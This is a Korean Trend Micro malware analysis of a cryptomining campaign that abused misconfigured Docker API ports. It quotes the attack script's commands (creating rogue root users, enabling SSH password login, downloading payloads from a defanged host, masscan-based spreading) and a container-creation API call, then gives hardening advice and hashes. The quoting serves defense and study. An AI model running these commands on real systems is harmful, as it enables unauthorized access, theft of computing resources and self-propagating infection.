컨테이너를 악용해 전달되는 가상화폐 채굴 멀웨어

게시일: 2018-11-16 l 작성자: Trend Micro

트렌드마이크로는 최근 도커 엔진 커뮤니티로 인해 도커 애플리케이션 프로그램 인터페이스 (API) 포트가 유출되어 시스템이 악용되는 사례를 발견하였습니다. 해당 악성 활동은 도커 엔진 데몬 (Docker Engine Daemon, Dockerd)에서 사용되는 2375/TCP 및 2376/TCP를 검색하며, 침입을 통해 잘못 구성된 시스템에 가상화폐 채굴 멀웨어 (트렌드마이크로 탐지명: Coinminer.SH.MALXMR.ATNE)를 배포합니다.

도커는 컨테이너를 이용하여 OS 수준에서 가상화를 구현합니다. 특히 도커 API를 사용하면 원격 사용자가 로컬 도커 클라이언트에서처럼 도커 이미지를 제어할 수 있습니다. 따라서 해커가 이러한 며 악의적으로 사용할 가능성이 있으므로 외부 액세스를 통한 API 오픈은 권장되지 않습니다.

해당 공격으로 도커 엔진 자체가 손상되거나 남용되지 않으며, 도커의 엔터프며이즈 플랫폼 또한 영향을 받지 않습니다. 해당 공격은 도커 커뮤니터 버전에서 발견된 매우 드문 사례입니다. 실제로 도커 기술에는 사용자가 컨테이너와 워크로드를 보호하도록 설정하고 구성할 수 있는 보안 기능이 있습니다. 또한 도커 커뮤니티엔터프라이즈 플랫폼을 보호하기 위한 도구 문서 및 가이드라인도 포함되어 있습니다. 그러나 어떠한 경우에서도 포트를 오픈해 두는 것은 위험한 행위입니다. 예를 들어, 비즈니스 애플리케이션을 실행하는 기업은 API의 인증된 사용만 허용하는 정확한 역할 기반 액세스 제어 설정이 가능한 도커 엔터프라이즈 솔루션을 사용하는 것이 좋습니다.

트렌드마이크로는 이번 리서치를 통해 해당 구성이 관리자 레벨에서 수동으로 설정된 사항이었으며, 따라서 도커 API 포트 노출은 사용자가 잘못 설정한 구성 결과였음을 알게 되었습니다. 여기서 주목할 점은 이러한 잘못된 구성 설정으로 인한 기업의 위험 노출 가능성은 새로운 일이 아닌 기업이 가지고갈 지속적인 과제라는 것입니다. 실제로 Shodan 연구 결과, 많은 사람들이 도커를 잘못 구성하였고, 특히 중국에서 해당 사례가 많이 일어났다는 것이 밝혀졌습니다. 해당 리서치 결과는 또한 미국, 프랑스, 독일, 싱가포르, 네덜란드, 영국, 일본, 인도, 아일랜드에서 일어난 잘못 구성된 도커 호스트들을 보여주었고, 노출된 시스템의 대부분은 리눅스 OS를 실행하는 것으로 밝혀졌습니다. 흥미로운 점은 리눅스의 데몬을 수동으로 구성해야 하기 때문에 Windows용 도커에서는 보안상의 이유로 데몬 노출을 비활성화한 17.0.5-win8 버전이 출시될 때까지 해당되지 않습니다. 잘못된 구성은 여러 버전에 걸쳐 널리 퍼져 있지만, 노출된 호스트 중 절반 이상이 비교적 최근 도커 릴리즈/버전인 18.06.2-ce 버전을 실행 중이라는 사실도 밝혀졌습니다.



그림 1. 포트 2375 및 2376에서 악성 활동과 잘못된 구성 남용을 보여주는
타임라인 (상단)과 국가 분포 (하단)



그림 2. 잘못 구성된 도커 엔진과 관련된 공격의 감염 체인


공격 예시

패킷 추적 및 페이로드 분석

공격자는 노출된 API 포트 (그림 2 참조)를 통해 도커 컨테이너를 만들고 손상된 도커 인스턴스에 대한 명령을 실행합니다.

  • 시스템 페키지 관리자를 사용하여 wget 패키지 설치
  • wget을 사용하여 자동 배포 스크립트 다운로드
  • DOS에서 유닉스 형식으로 스크립트를 변환 (스크립트 행의 끝은 DOS 형식일 때가 많음)
  • 스크립트의 실행 권한 설정
  • 스크립트 (auto. sh)를 실행


그림 3. 노출된 도커 API 포트를 통해 도커 컨테이너를 생성하는 공격자의 패킷 추적


분석 결과 auto.sh 파일은 아래의 명령을 포함한 Monero-mining 배포 스크립트로 밝혀졌습니다.

  • richard” 및 “frank”로 사용자를 만든 다음 루트 권한을 부여
  • 보안 소켓 셸 (SSH) 데몬 (도커에서 기본적으로 컨테이너에 액세스할 수 있도록 설정)을 재구성하여 암호 인증을 허용한 후 SSH 데몬을 다시 시작
  • 시스템 패키지 관리자를 사용하여 systemd (리눅스 시스템 및 서비스 매니저), masscan (인터넷 포트 스캐너), iproute2 (리눅스 네트워크 툴)을 설치
  • 지속성을 위한 스크립트 및 파일을 추가로 다운로드 후 실행
  • 모네로 마이너를 통하여 컴퓨터의 자원을 불법적으로 이용하고 마이닝 프로세스를 자동으로 실행
  • 오픈 포트 2375 및 2376에 대해 초당 50,000 패킷의 스캔 속도로 호스트 w/에서 본 모든 네트워크 검색 후 결과를 local.txt 파일에 저장
  • 이전 정찰 활동을 통해 발견된 호스트에 도구를 자동을 복제하여 네트워크내 분산
  • Monero-mining 프로세스 동작을 확인 후, 실행 되지 않고 있을 경우 프로세스 시작

아래는 “richard” 및 “frank” 사용자를 만든 후 루트 권한을 할당하기 위해 쓰인 명령입니다. (Anonymized/Defanged):

useradd -m -p ‘xxx’ richard
useradd -m -p ‘xxx’ frank
adduser -m -p ‘xxx’ frank
adduser -m -p ‘xxx’ richard
usermod -aG sudoers frank;
usermod -aG root frank;
usermod -aG sudoers richard;
usermod -aG root richard;
sudo adduser frank sudo;
sudo adduser richard sudo;

아래는 SSH 재구성을 위한 명령입니다:
sed -i ‘s/PasswordAuthentication no/PasswordAuthentication yes/g’ #mkdir /.tmp/etc/ssh/sshd_config;
/etc/init.d/ssh restart;
/etc/init.d/sshd restart;
/etc/rc.d/sshd restart;

아래는 추가 시스템 패키지를 설치하기 위한 명령입니다:
if [ $(dpkg-query -W -f=’${Status}’ systemd 2>/dev/null | grep -c “ok installed”) -eq 0 ];
then
apt-get install systemd -y;
yum install systemd -y;
fi;
if [ $(dpkg-query -W -f=’${Status}’ masscan 2>/dev/null | grep -c “ok installed”) -eq 0 ];
then
apt-get install masscan -y;
yum install masscan -y;
fi;
if [ $(dpkg-query -W -f=’${Status}’ iproute2 2>/dev/null | grep -c “ok installed”) -eq 0 ];
then
apt-get install iproute2 -y;
yum install iproute2 -y;
fi;

추가 스크립트 및 파일 다운로드:
curl -s hxxp://X.X.X.163/k.php;
wget hxxp://X.X.X.163/data.cfg -O /data.cfg;
wget hxxp://X.X.X.163/xm -O /xm;
wget hxxp://X.X.X.163/xm.service -O /xm.service;
wget hxxp://X.X.X.163/test.sh -O test.sh;
wget hxxp://X.X.X.163/test3.sh -O test3.sh;
sleep 2s;

추가된 스크립트 및 파일 실행:
chmod 777 /xm;
chmod 777 test.sh;
chmod 777 test3.sh;
sleep 2s;

모네로 마이너를 통하여 컴퓨터의 자원을 불법적으로 이용하고 마이닝 프로세스를 자동으로 실행:
killall xmrig;
killall proc;
killall minergate-cli;
killall xmr-stak;

오픈 포트 2375 및 2376에 대해 초당 50,000 패킷의 스캔 속도로 호스트 w/에서 본 모든 네트워크 검색 후 결과를 local.txt 파일에 저장:
masscan “$@” -p2375,2376 –rate=50000 -oG local.txt;

이전 정찰에서 발견된 더 많은 호스트를 감염 혹은 악용하여 측면 이동 수행:
sudo sed -i ‘s/^Host: \([0-9.]*\).*Ports: \([0-9]*\).*$/\1:\2/g’ local.txt;
sudo sh test3.sh local.txt;

프로세스 동작을 확인 후, 실행 되지 않고 있을 경우 프로세스 시작:
ps cax | grep xm > /dev/null
if [ $? -eq 0 ]; then
echo “Process is running.”
else
echo “Process is not running.”
cp /data.cfg data.cfg
cp /xm xm
./xm -c data.cfg
/xm -c data.cfg
cd /
/xm -c data.cfg
echo “BAM!.”
fi;

도커 API 악용

도커 API의 악용은 2017년 초반부터 나타나기 시작했습니다. 트렌드마이크로는 2017년 4월 경 한 공격자는 외부 액세스를 위해 오픈된 포트 4243이 있는 잘못 구성된 도커 API 설정을 발견하였습니다 (해당 포트는 Dockerd REST API 연결을 위해 사용됨). 공격자는 도커 컨테이너를 성공적으로 생성한 후 손상된 시스템에 추가 SSH 키를 배포하고 다른 툴 및 스크립트와 함께 DDoS (Distributed-denial-of-service) 봇을 설치하여 배포된 봇이 자동으로 다시 시작되도록 했습니다.

도커 인스턴스에서 인증이 구성되지 않았기 때문에 공격자는 유사한 명령을 실행하여 도커 컨테이너를 직접 생성할 수 있었습니다. 공격자는 최근에 발견된 사건들과 마찬가지로 “create” 명령을 사용하여 새로운 컨테이너를 생성하고 Ubuntu 이미지를 사용한 후 악성 소프트웨어를 배포했습니다.

아래는 2017년 발견된 명령입니다:

curl -H “Content-Type: application/json” -d ‘{“Image”: “ubuntu”, “Cmd”: [“/bin/bash”]}’ -X POST hxxp://X.X.X.X:4243/v1.19/containers/create

또한 공격자는 셸 액세스 권한을 얻기 위해 연결된 방법을 통하여 다시 도커에 연결 될 수 있었습니다:

POST /v1.19/containers/<container_id>/attach?stderr=1&stdin=1&stdout=1&stream=1″

이러한 악용을 막을 수 있는 방법은 여러 가지가 있습니다. 가장 좋은 방법은 도커 REST API 포트를 외부에 노출하지 않도록 하는 것입니다:

level=warning msg=”/!\\ DON’T BIND ON ANY IP ADDRESS WITHOUT setting -tlsverify IF YOU DON’T KNOW WHAT YOU’RE DOING /!\\”


만약 꼭 외부에서 도커 RESTful API에 액세스해야 하는 경우, TLS 인증 설정 및 구성을 확인하시기 바랍니다.

모범 사례 및 트렌드마이크로 솔루션

컨테이너를 통해 기업은 클라우드 애플리케이션을 더욱 효과적으로 구축할 수 있습니다. 특히 DevOps를 채택하는 기업에게는 중요합니다. 하지만 안전하지 않거나 잘못 구성된 취약한 애플리케이션 및 소프트웨어는 불필요한 작업이나 구축에 리소스를 낭비하는 것을 의미합니다. 위협 요소에 노출되면 애플리케이션에 저장 및 관리되는 개인 정보 데이터뿐만 아니라 워크로드를 호스팅하고 실행하는 인프라에 악영향을 미칠 수 있습니다. 따라서 자동화된 보안을 DevOps 초기에 통합하면 얘기치 못한 운영 중단을 줄일 수 있을 뿐 아니라 IT팀과 DevOps팀 사이의 보안의 격차를 더 빠르게 좁힐 수 있습니다.

다음은 도커 보안을 위한 몇 가지 모범 사례입니다.

  • 보안 태세를 강화하십시오. CIS (The Center for Internet Security)를 통해 시스템 관리자와 보안팀이 도커 엔진을 보호하기 위한 기준이 되는 레퍼런스를 확인할 수 있습니다.
  • 컨테이너 이미지가 인증 및 서명 되었는지, 신뢰할 수 있는 레지스트리 (예: Docker Trusted Registry)에서 왔는지 확인하십시오. 또한 자동화된 이미지 스캔 툴을 사용하면 개발 주기를 개선할 수 있습니다.
  • 최소 권한의 원칙을 적용하십시오. 예를 들어 데몬에 대한 액세스를 제한하고 데몬이 네트워크에 연결하기 위해 사용하는 통신 프로토콜을 암호화합니다. 도커에는 데몬 소켓 보호 방법에 대한 가이드라인이 있습니다.
  • 컨테이너가 사용할 수 있는 리소스의 양을 적절하게 구성하십시오 (Control groups and namespaces).
  • 도커가 기본으로 제공하는 보안 기능을 사용하십시오. 도커에는 도커 기반 애플리케이션을 안전하게 구성하는 방법에 대한 가이드라인이 있습니다.

트렌드마이크로의 Hybrid Cloud Security 솔루션은 기업의 DevOps 파이프라인에서 강력하고 효율적이며 자동화된 보안을 제공하며 런타임 중 물리, 가상화 및 클라우드 워크로드를 보호하는 XGen™ 위협 방어 기술을 제공합니다. 또한 사전 배포 및 런타임 동안 컨테이너 이미지를 스캔하는 등 Deep SecurityDeep Security Smart Check를 통한 추가적인 컨테이너 보호 기능을 제공합니다.

이러한 솔루션의 도입으로 기업은 보안 및 컴플라이언스를 준수하면서 민첩하고 안전한 DevOps 운영을 지속할 수 있습니다. 또한 여러 보안 기능과 단일의 대시보드를 통해 필요한 보안 툴의 수를 줄이고 AWS, Docker, Microsoft Azure, Google Cloud Platform, VMware와 같은 주요 환경을 완벽하게 파악할 수 있습니다. Trend Micro Deep Security 솔루션은 자동화된 배포, 광범위한 API 통합, 최신 지능형 위협으로부터 서버를 가상으로 보호할 수 있는 보안 기능을 포함하여 여러 환경에서 워크로드를 보호하는 비용과 복잡성을 줄여줍니다.

IoC (침해지표)

Hashes detected as Coinminer.SH.MALXMR.ATNE (SHA-256):

  • 61698b873322fa711c1c30956260c1438949db90a3c3b634a4664080e66fc64d
  • e45a416e8ee1177202bb96732d1b74be98ecc22ba01a96de109e7a54e71cf4e0

Hash detected as Coinminer.SH.MALXMR.ATNG (SHA-256):

  • 684a62e76283d62ddd39bdd16f3bbdcf361002ed5a1f2b6c50ecf33bfd333783

Hash detected as Coinminer.SH.MALXMR.ATNH (SHA-256):

  • 9da6ea45baae25f5f1e2da3d32eac7a6fd534140e83bdef3bd46dd78a18e29b5

Hash of deployed DDoS tool (SHA-256):

[원문: Misconfigured Container Abused to Deliver Cryptocurrency-mining Malware]